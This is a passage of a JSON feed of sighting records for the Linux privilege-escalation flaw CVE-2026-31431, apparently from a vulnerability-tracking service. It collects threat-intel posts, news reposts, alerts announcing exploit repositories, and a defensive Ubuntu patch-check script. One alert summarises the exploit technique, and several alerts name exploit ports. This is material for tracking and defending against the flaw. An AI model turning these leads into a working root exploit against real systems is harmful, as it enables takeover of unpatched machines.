\uff09\u30ab\u30bf\u30ed\u30b0\u306b\u8ffd\u52a0\u3057\u305f\u3002\u3053\u308c\u306f\u3001\u5b9f\u969b\u306b\u60aa\u7528\u3055\u308c\u3066\u3044\u308b\u8a3c\u62e0\u304c\u3042\u308b\u305f\u3081\u3060\u3002\n\nCVE-2026-31431\uff08CVSS\u30b9\u30b3\u30a2\uff1a7.8\uff09\u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3066\u3044\u308b\u3053\u306e\u8106\u5f31\u6027\u306f\u3001\u30ed\u30fc\u30ab\u30eb\u6a29\u9650\u6607\u683c\uff08LPE\uff09\u306e\u6b20\u9665\u3067\u3042\u308a\u3001\u6a29\u9650\u306e\u306a\u3044\u30ed\u30fc\u30ab\u30eb\u30e6\u30fc\u30b6\u30fc\u304croot\u6a29\u9650\u3092\u53d6\u5f97\u3067\u304d\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002\u3053\u306e9\u5e74\u524d\u304b\u3089\u5b58\u5728\u3059...", "creation_timestamp": "2026-05-09T21:23:13.459813Z"}, {"uuid": "d120bf6f-896d-45c8-8fa1-a2c9aef10f01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/intel.overresearched.net/post/3mlhcbcywjc2m", "content": "\ud83d\udd34 Copy Fail (CVE-2026-31431) on CISA KEV + DirtyFrag \u2014 Linux LPE on major distros\n\ud83d\udfe0 Genesis: 5 US victims in 24h\n\ud83d\udfe0 Fake OpenAI HF repo \u2192 Rust infostealer (244k DLs)\n\nFull brief: intel.overresearched.net/2026/05/09/c...\n\n#Daily #ThreatIntel #InfoSec", "creation_timestamp": "2026-05-09T22:30:13.529407Z"}, {"uuid": "f44daae1-28a7-42dd-908f-73d1abfa8867", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/83585", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Copy_Grail\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a cleozi\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a C++\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-10 00:45:32\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nElegant C++ exploit for CVE-2026-31431 (Copy Fail) using AF_ALG authenticated encryption + splice(2) to overwrite setuid binary memory\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-10T01:00:05.000000Z"}, {"uuid": "eb9ed973-9f11-4346-abb2-8eb59e7c1db5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mlhpojezmi2z", "content": "Top 3 CVE for last 7 days:\nCVE-2026-31431: 164 interactions\nCVE-2026-43284: 120 interactions\nCVE-2026-43500: 84 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-43284: 59 interactions\nCVE-2026-43500: 53 interactions\nCVE-2026-31431: 14 interactions\n", "creation_timestamp": "2026-05-10T02:30:15.454823Z"}, {"uuid": "bf44cdef-a659-4170-808c-32d447190fe8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/83624", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-43500\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a attaattaatta\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Go\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-10 07:57:52\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-43500 / CVE-2026-31431 / CVE-2026-43284 golang hotfix\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-10T08:00:04.000000Z"}, {"uuid": "991261d7-b3e4-4c24-a0a2-1e517afabed4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/ael0030-ai/664ef04df47badeedb2f7f4889762ec0", "content": "\n\n  \n\n    Noticias de Alejandro Espa\u00f1a Lanceta\n    https://gist.githubusercontent.com/ael0030-ai/99660b1cfd870d17095a16aa263a4251/raw/noticias.xml\n    Canal RSS creado para la pr\u00e1ctica 9 del Tema 17, con noticias reales sobre sistemas y seguridad inform\u00e1tica.\n    es\n\n    \n    \n      Vulnerabilidad cr\u00edtica en Windows Server WSUS permite ejecuci\u00f3n remota\n      https://www.securityweek.com/critical-windows-server-wsus-vulnerability-exploited-in-the-wild/\n      Una vulnerabilidad grave en Windows Server WSUS (CVE-2025-59287) est\u00e1 siendo explotada activamente, permitiendo a atacantes ejecutar c\u00f3digo remoto en servidores vulnerables.\n        \n      ]]>\n      https://www.securityweek.com/critical-windows-server-wsus-vulnerability-exploited-in-the-wild/\n      ael0030@medac.es\n      Fri, 24 Oct 2025 10:42:00 GMT\n    \n\n    \n    \n      Ransomware BlackCat aprovecha servidores Exchange sin parchear\n      https://www.zdnet.com/article/microsoft-ransomware-gangs-using-unpatched-exchange-servers/\n      Microsoft ha alertado de que grupos de ransomware como BlackCat est\u00e1n explotando servidores Exchange sin actualizar para infiltrarse en redes corporativas.\n        \n      ]]>\n      https://www.zdnet.com/article/microsoft-ransomware-gangs-using-unpatched-exchange-servers/\n      ael0030@medac.es\n      Tue, 14 Jun 2022 08:11:00 GMT\n    \n\n    \n    \n      Fallo 'Copy Fail' en el kernel de Linux permite obtener acceso root\n      https://www.securityweek.com/copy-fail-logic-flaw-in-linux-kernel-enables-system-takeover/\n      Una vulnerabilidad en el kernel de Linux (CVE-2026-31431) permite a atacantes locales escalar privilegios y obtener acceso root en pr\u00e1cticamente cualquier distribuci\u00f3n.\n        \n      ]]>\n      https://www.securityweek.com/copy-fail-logic-flaw-in-linux-kernel-enables-system-takeover/\n      ael0030@medac.es\n      Thu, 30 Apr 2026 06:06:00 GMT\n    \n\n  \n", "creation_timestamp": "2026-05-10T09:53:12.000000Z"}, {"uuid": "d760210e-f8d0-49ca-be70-723c0688e4e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/ael0030-ai/4829553e4ca557c5523ee2dabb2beb2d", "content": "\n\n  \n\n    Noticias de Alejandro Espa\u00f1a Lanceta\n    https://gist.githubusercontent.com/ael0030-ai/99660b1cfd870d17095a16aa263a4251/raw/noticias.xml\n    Pr\u00e1ctica 9 del Tema 17\n    es\n\n    \n    \n      Vulnerabilidad cr\u00edtica en Windows Server WSUS permite ejecuci\u00f3n remota\n      https://www.securityweek.com/critical-windows-server-wsus-vulnerability-exploited-in-the-wild/\n      Una vulnerabilidad grave en Windows Server WSUS (CVE-2025-59287) est\u00e1 siendo explotada activamente, permitiendo a atacantes ejecutar c\u00f3digo remoto en servidores vulnerables.\n        \n      ]]>\n      https://www.securityweek.com/critical-windows-server-wsus-vulnerability-exploited-in-the-wild/\n      ael0030@medac.es\n      Fri, 24 Oct 2025 10:42:00 GMT\n    \n\n    \n    \n      Ransomware BlackCat aprovecha servidores Exchange sin parchear\n      https://www.zdnet.com/article/microsoft-ransomware-gangs-using-unpatched-exchange-servers/\n      Microsoft ha alertado de que grupos de ransomware como BlackCat est\u00e1n explotando servidores Exchange sin actualizar para infiltrarse en redes corporativas.\n        \n      ]]>\n      https://www.zdnet.com/article/microsoft-ransomware-gangs-using-unpatched-exchange-servers/\n      ael0030@medac.es\n      Tue, 14 Jun 2022 08:11:00 GMT\n    \n\n    \n    \n      Fallo 'Copy Fail' en el kernel de Linux permite obtener acceso root\n      https://www.securityweek.com/copy-fail-logic-flaw-in-linux-kernel-enables-system-takeover/\n      Una vulnerabilidad en el kernel de Linux (CVE-2026-31431) permite a atacantes locales escalar privilegios y obtener acceso root en pr\u00e1cticamente cualquier distribuci\u00f3n.\n        \n      ]]>\n      https://www.securityweek.com/copy-fail-logic-flaw-in-linux-kernel-enables-system-takeover/\n      ael0030@medac.es\n      Thu, 30 Apr 2026 06:06:00 GMT\n    \n\n  \n\n\n", "creation_timestamp": "2026-05-10T09:58:30.000000Z"}, {"uuid": "d2481e05-411b-486c-a885-1c9aaf78c3c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/ael0030-ai/edde819e9e4d3337189517c21500ce61", "content": "\n\n  \n\n    Noticias de Alejandro Espa\u00f1a Lanceta\n    https://gist.githubusercontent.com/ael0030-ai/99660b1cfd870d17095a16aa263a4251/raw/noticias.xml\n    Pr\u00e1ctica 9 del Tema 17\n    es\n\n    \n    \n      Vulnerabilidad cr\u00edtica en Windows Server WSUS permite ejecuci\u00f3n remota\n      https://www.securityweek.com/critical-windows-server-wsus-vulnerability-exploited-in-the-wild/\n      Una vulnerabilidad grave en Windows Server WSUS (CVE-2025-59287) est\u00e1 siendo explotada activamente, permitiendo a atacantes ejecutar c\u00f3digo remoto en servidores vulnerables.\n        \n      ]]>\n      https://www.securityweek.com/critical-windows-server-wsus-vulnerability-exploited-in-the-wild/\n      ael0030@medac.es\n      Fri, 24 Oct 2025 10:42:00 GMT\n    \n\n    \n    \n      Ransomware BlackCat aprovecha servidores Exchange sin parchear\n      https://www.zdnet.com/article/microsoft-ransomware-gangs-using-unpatched-exchange-servers/\n      Microsoft ha alertado de que grupos de ransomware como BlackCat est\u00e1n explotando servidores Exchange sin actualizar para infiltrarse en redes corporativas.\n        \n      ]]>\n      https://www.zdnet.com/article/microsoft-ransomware-gangs-using-unpatched-exchange-servers/\n      ael0030@medac.es\n      Tue, 14 Jun 2022 08:11:00 GMT\n    \n\n    \n    \n      Fallo 'Copy Fail' en el kernel de Linux permite obtener acceso root\n      https://www.securityweek.com/copy-fail-logic-flaw-in-linux-kernel-enables-system-takeover/\n      Una vulnerabilidad en el kernel de Linux (CVE-2026-31431) permite a atacantes locales escalar privilegios y obtener acceso root en pr\u00e1cticamente cualquier distribuci\u00f3n.\n        \n      ]]>\n      https://www.securityweek.com/copy-fail-logic-flaw-in-linux-kernel-enables-system-takeover/\n      ael0030@medac.es\n      Thu, 30 Apr 2026 06:06:00 GMT\n    \n\n  \n", "creation_timestamp": "2026-05-10T10:07:40.000000Z"}, {"uuid": "d4dc1479-f4db-420e-b110-df2aa8fdbab9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/83639", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Porting-CVE-2026-31431-Copy-Fail-to-a-Constrained-Java-Runner\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a karollooool\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-10 09:51:39\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-31431 (copy.fail) \u2014 adapted for constrained Java execution environments via FFM syscall layer + javac   annotation processor delivery\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-10T10:00:04.000000Z"}, {"uuid": "86b8faec-d94b-4d74-80c3-df02339728cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/MtALigBXUwxWZ4IXshd7DuJETnLgMy9WFEBN7wv13OmJfPjP", "content": "", "creation_timestamp": "2026-05-10T17:03:55.000000Z"}, {"uuid": "dfe84f6b-595b-4af2-aee6-644066f3b931", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mljplcli3c2g", "content": "\u300c\u30b3\u30d4\u30fc\u5931\u6557\u300dLinux\u8106\u5f31\u6027\u306e\u60aa\u7528\u304c\u59cb\u307e\u308a\u307e\u3059\n\n\u7c73\u56fd\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u6a5f\u95a2CISA\u306f\u3001\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u304c\u6700\u8fd1\u516c\u958b\u3055\u308c\u305fLinux\u30ab\u30fc\u30cd\u30eb\u306e\u8106\u5f31\u6027\u3092\u60aa\u7528\u3057\u3001\u30eb\u30fc\u30c8\u30b7\u30a7\u30eb\u3078\u306e\u30a2\u30af\u30bb\u30b9\u306b\u3064\u306a\u304c\u3063\u3066\u3044\u308b\u3068\u8b66\u544a\u3057\u3066\u3044\u307e\u3059\u3002\n\nCVE-2026-31431 \u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3001Copy Fail \u3068\u547c\u3070\u308c\u305f\u3053\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4e0a\u306e\u6b20\u9665\u306f\u3001\u307b\u307c10\u5e74\u306b\u308f\u305f\u308a\u6f5c\u3093\u3060\u3082\u306e\u3067\u3042\u308a\u30012017 \u5e74\u4ee5\u964d\u3001\u3059\u3079\u3066\u306e Linux \u30c7\u30a3\u30b9\u30c8\u30ea\u30d3\u30e5\u30fc\u30b7\u30e7\u30f3\u306b\u5f71\u97ff\u3092\u53ca\u307c\u3057\u3066\u3044\u307e\u3059\u3002\n\n\u30ab\u30fc\u30cd\u30eb\u306e\u8a8d\u8a3cAEAD\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u306b\u5f71\u97ff\u3092\u4e0e\u3048\u308b\u30d0\u30b0\u306b\u3088\u308a\u3001\u30b3\u30fc\u30c9\u5b9f\u884c\u6a29\u9650\u3092\u6301\u3064\u8a8d\u8a3c\u3055\u308c\u305f\u653b\u6483\u8005\u306f\u3001\u8aad\u307f\u53d6\u308a\u53ef\u80fd\u306a setuid\u2010root \u30d0\u30a4\u30ca\u30ea\u2026", "creation_timestamp": "2026-05-10T21:33:53.863691Z"}, {"uuid": "1f9baf88-90c5-4e00-a36f-7729b139710b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mljppobf6s2g", "content": "\u7c73\u56fdCISA\u306f\u3001\u65e2\u77e5\u306e\u60aa\u7528\u8106\u5f31\u6027\u30ab\u30bf\u30ed\u30b0\u306bLINUX\u30ab\u30fc\u30cd\u30eb\u306e\u6b20\u9665\u3092\u8ffd\u52a0\u3057\u307e\u3057\u305f\n\n\u7c73\u56fd\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30fb\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30fc\u30fb\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u6a5f\u95a2\uff08CISA\uff09\u306f\u3001Linux\u30ab\u30fc\u30cd\u30eb\u306e\u6b20\u9665\u3092\u65e2\u77e5\u306e\u60aa\u7528\u8106\u5f31\u6027\u30ab\u30bf\u30ed\u30b0\u306b\u8ffd\u52a0\u3057\u307e\u3057\u305f\u3002\n\n\u7c73\u56fd\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30fb\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30fc\u30fb\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u6a5f\u95a2\uff08CISA\uff09\u306f\u3001Linux \u30ab\u30fc\u30cd\u30eb\u306b\u8106\u5f31\u6027\uff08CVE-2026-31431\uff08CVSS\u30b9\u30b3\u30a27.8\uff09\u3067\u8ffd\u8de1\uff09\u3092\u3001\u65e2\u77e5\u306e\u60aa\u7528\u8106\u5f31\u6027\uff08KEV\uff09\u30ab\u30bf\u30ed\u30b0\u306b\u8ffd\u52a0\u3057\u307e\u3057\u305f\u3002\n\n\u6700\u8fd1\u3001Xint Code \u306e\u7814\u7a76\u8005\u306f\u3001CVE-2026-31431 \u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u308b\u6df1\u523b\u306a Linux \u306e\u6b20\u9665\u304c\u30b3\u30d4\u30fc\u5931\u6557\u3068\u547c\u3070\u308c\u308b\u2026", "creation_timestamp": "2026-05-10T21:36:16.312087Z"}, {"uuid": "93a18e79-b4a2-4002-8f95-42ba2203f1c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/technoholic.bsky.social/post/3mljw3s4ynu2j", "content": "New unpatched Linux kernel LPE flaw, 'Dirty Frag', is a successor to CVE-2026-31431 (CVSS 7.8). Actively exploited in the wild. Reported to kernel maintainers. Stay vigilant!", "creation_timestamp": "2026-05-10T23:30:24.011800Z"}, {"uuid": "8c43fcd8-7bc9-4dcb-9aeb-861fc354f0b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3mlk7e5vfir32", "content": "Copy Fail (CVE-2026-31431): Frequently asked questions about Linux kernel privilege escalation vulnerability A flaw in the Linux kernel present since 2017 allows a local user to gain root access on...\n\n\nOrigin | Interest | Match", "creation_timestamp": "2026-05-11T02:16:11.002622Z"}, {"uuid": "aafc652d-6bc9-448e-81b1-551300eeba28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3mlk7psdid6r2", "content": "Dirty Frag (CVE-2026-43284, CVE-2026-43500): Mitigation and Kernel Update on CloudLinux A week after Copy Fail (CVE-2026-31431), researcher Hyunwoo Kim disclosed a second Linux kernel local privil...\n\n#KernelCare #CVE #Vulnerability #Kernel #Update #AlmaLinux #CloudLinux\n\nOrigin | Interest | Match", "creation_timestamp": "2026-05-11T02:22:41.778892Z"}, {"uuid": "b99e1e11-cc9c-49d1-9286-d42f6582421b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mlka652tl522", "content": "Top 3 CVE for last 7 days:\nCVE-2026-31431: 141 interactions\nCVE-2026-43284: 122 interactions\nCVE-2026-43500: 84 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-42511: 56 interactions\nCVE-2024-13362: 4 interactions\nCVE-2026-29201: 3 interactions\n", "creation_timestamp": "2026-05-11T02:30:39.061058Z"}, {"uuid": "7b467790-afe4-4098-b6ac-3c6cfaa42446", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/83734", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Lutfifakee-Project\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-11 01:30:35\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-31431 - Linux Kernel Page Cache Vulnerability\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-11T02:00:04.000000Z"}, {"uuid": "91442b44-bec3-4da1-bd05-db4f17503abd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/evilbitlabs.io/post/3mlkdi2kr2k2l", "content": "This week's Threat Digest: Copy Fail (CVE-2026-31431) gives any Linux user root and walks through container boundaries. Plus AiTM phishing at 35K users, cPanel on KEV, DPRK laptop farm sentencings. CISA deadline for Copy Fail is Thursday.\n\nnews.evilbitlabs.io/2026-05-10-e...", "creation_timestamp": "2026-05-11T03:29:53.655024Z"}, {"uuid": "02ef0846-21e8-412e-9cb0-16f7b1a3a074", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/Q5Ca/4b05c80320c52225684791fc3ae2fa1e", "content": "", "creation_timestamp": "2026-05-11T03:35:32.000000Z"}, {"uuid": "aace9b07-08f3-4a9a-8090-939af202e0fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/Q5Ca/586fa0a188386f1fd13461d67d6fe6de", "content": "", "creation_timestamp": "2026-05-11T03:38:31.000000Z"}, {"uuid": "12cab1f9-09d2-4aa4-9327-43a698580430", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260511", "content": "", "creation_timestamp": "2026-05-10T18:00:00.000000Z"}, {"uuid": "101c25b5-b585-41fa-a0aa-2968bcf5954a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/ruari.velocipederider.com.ap.brid.gy/post/3mlkroxxmpot2", "content": "I upgraded my kernel for Copy Fail (CVE-2026-31431) not that long ago.\n\nNow I am upgrading again for Dirty Frag (CVE-2026-43284 and CVE-2026-43500).\n\nI hope things clam down a bit now but I guess we shall see\u2026", "creation_timestamp": "2026-05-11T07:47:08.025911Z"}, {"uuid": "1d630eae-ffc7-484d-b3d1-76e949dda2c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/walleralexander/d880563c357deab2c385b6f5f35cc254", "content": "#!/usr/bin/env bash\n# check-copy-fail.sh\n# Nicht-destruktive Pr\u00fcfung auf CVE-2026-31431 (\"Copy Fail\") f\u00fcr Ubuntu. \n# Fragt automatisch die Ubuntu Security API ab und vergleicht Versionen.\n# Kein Exploit, keine \u00c4nderungen am System.\n\nset -u\n\nCVE_ID=\"CVE-2026-31431\"  \nAPI_URL=\"https://ubuntu.com/security/cves/${CVE_ID}.json\"  \n\n# --- Argumente ---------------------------------------------------------------\nVERBOSE=0\nfor arg in \"$@\"; do  \n    case \"$arg\" in  \n        -v|--verbose) VERBOSE=1 ;;\n        -h|--help)\n            cat </dev/null 2>&1 || MISSING=\"$MISSING $tool\"  \ndone\n[ -n \"$MISSING\" ] && warn \"Fehlende Tools:$MISSING\"  \n\n# --- 1. Distribution + Release-Codename --------------------------------------\necho \"${B}[1/5] Distribution${N}\"  \nRELEASE_CODENAME=\"\"  \nif [ -r /etc/os-release ]; then\n    . /etc/os-release\n    info \"$PRETTY_NAME\"  \n    RELEASE_CODENAME=\"${UBUNTU_CODENAME:-${VERSION_CODENAME:-}}\"  \n    info \"Codename: ${RELEASE_CODENAME:-unbekannt}\"  \n    [ \"${ID:-}\" != \"ubuntu\" ] && warn \"Nicht Ubuntu \u2014 Ergebnisse evtl. ungenau.\"  \nelse\n    warn \"/etc/os-release nicht lesbar.\"  \nfi\necho\n\n# --- 2. Kernel-Version + installiertes Paket ---------------------------------\necho \"${B}[2/5] Kernel & Paket${N}\"  \nKVER=$(uname -r)\ninfo \"Laufender Kernel: $KVER\"  \n\nKPKG=\"linux-image-${KVER}\"  \nINSTALLED_VER=\"\"  \nSOURCE_PKG=\"\"  \nif dpkg-query -W -f='${Version}' \"$KPKG\" >/dev/null 2>&1; then  \n    INSTALLED_VER=$(dpkg-query -W -f='${Version}' \"$KPKG\")  \n    SOURCE_PKG=$(dpkg-query -W -f='${source:Package}' \"$KPKG\" 2>/dev/null)  \n\n    # Ubuntu trackt CVEs unter dem unsignierten Kernel-Source-Paket.\n    # 'linux-signed-hwe-6.17' -> 'linux-hwe-6.17' \n    # 'linux-signed'          -> 'linux' \n    # 'linux-signed-aws'      -> 'linux-aws' \n    SOURCE_PKG_TRACK=$(echo \"$SOURCE_PKG\" | sed -E 's/^linux-signed(-|$)/linux\\1/; s/-$//')  \nelse\n    warn \"Kernel-Paket nicht via dpkg auffindbar (Custom-Kernel?).\"  \n    SOURCE_PKG_TRACK=\"\"  \nfi\n\nREBOOT_PENDING=0\nif [ -f /var/run/reboot-required ]; then\n    warn \"Reboot ausstehend \u2014 neuer Kernel erst nach Reboot aktiv!\"  \n    REBOOT_PENDING=1\nfi\necho\n\n# --- 3. Patch-Status via Ubuntu Security API ---------------------------------\necho \"${B}[3/5] Patch-Status (Ubuntu Security API)${N}\"  \nPATCH_STATUS=\"unknown\"  \nKMOD_FIX_STATUS=\"unknown\"   # 'patched' | 'vulnerable' | 'unknown'  \nFIXED_VER=\"\"  \n\nif [ -n \"$RELEASE_CODENAME\" ] && command -v curl >/dev/null && command -v python3 >/dev/null; then  \n\n    info \"Frage $API_URL ab...\"  \n    JSON=$(curl -fsSL --max-time 10 \"$API_URL\" 2>/dev/null || echo \"\")  \n\n    if [ -n \"$JSON\" ]; then  \n        # --- 3a: kmod-Mitigation (USN-8226-1) pr\u00fcfen ------------------------\n        # Ubuntu liefert die Mitigation aktuell nur \u00fcber das kmod-Paket,\n        # das algif_aead via modprobe.d blockiert. Das steht in 'notices'. \n        KMOD_FIX_VER=$(printf '%s' \"$JSON\" | REL=\"$RELEASE_CODENAME\" python3 -c '  \nimport json, sys, os\ntry: data = json.load(sys.stdin)\nexcept Exception: sys.exit(0)\nrel = os.environ[\"REL\"]  \nfor n in data.get(\"notices\", []):  \n    rps = n.get(\"release_packages\", {}).get(rel, [])  \n    for p in rps:\n        if p.get(\"name\") == \"kmod\" and p.get(\"is_source\"):  \n            print(p.get(\"version\", \"\")); sys.exit(0)  \n' 2>/dev/null)  \n\n        if [ -n \"$KMOD_FIX_VER\" ]; then  \n            INSTALLED_KMOD=$(dpkg-query -W -f='${Version}' kmod 2>/dev/null || echo \"\")  \n            if [ -n \"$INSTALLED_KMOD\" ]; then  \n                if dpkg --compare-versions \"$INSTALLED_KMOD\" ge \"$KMOD_FIX_VER\"; then  \n                    ok 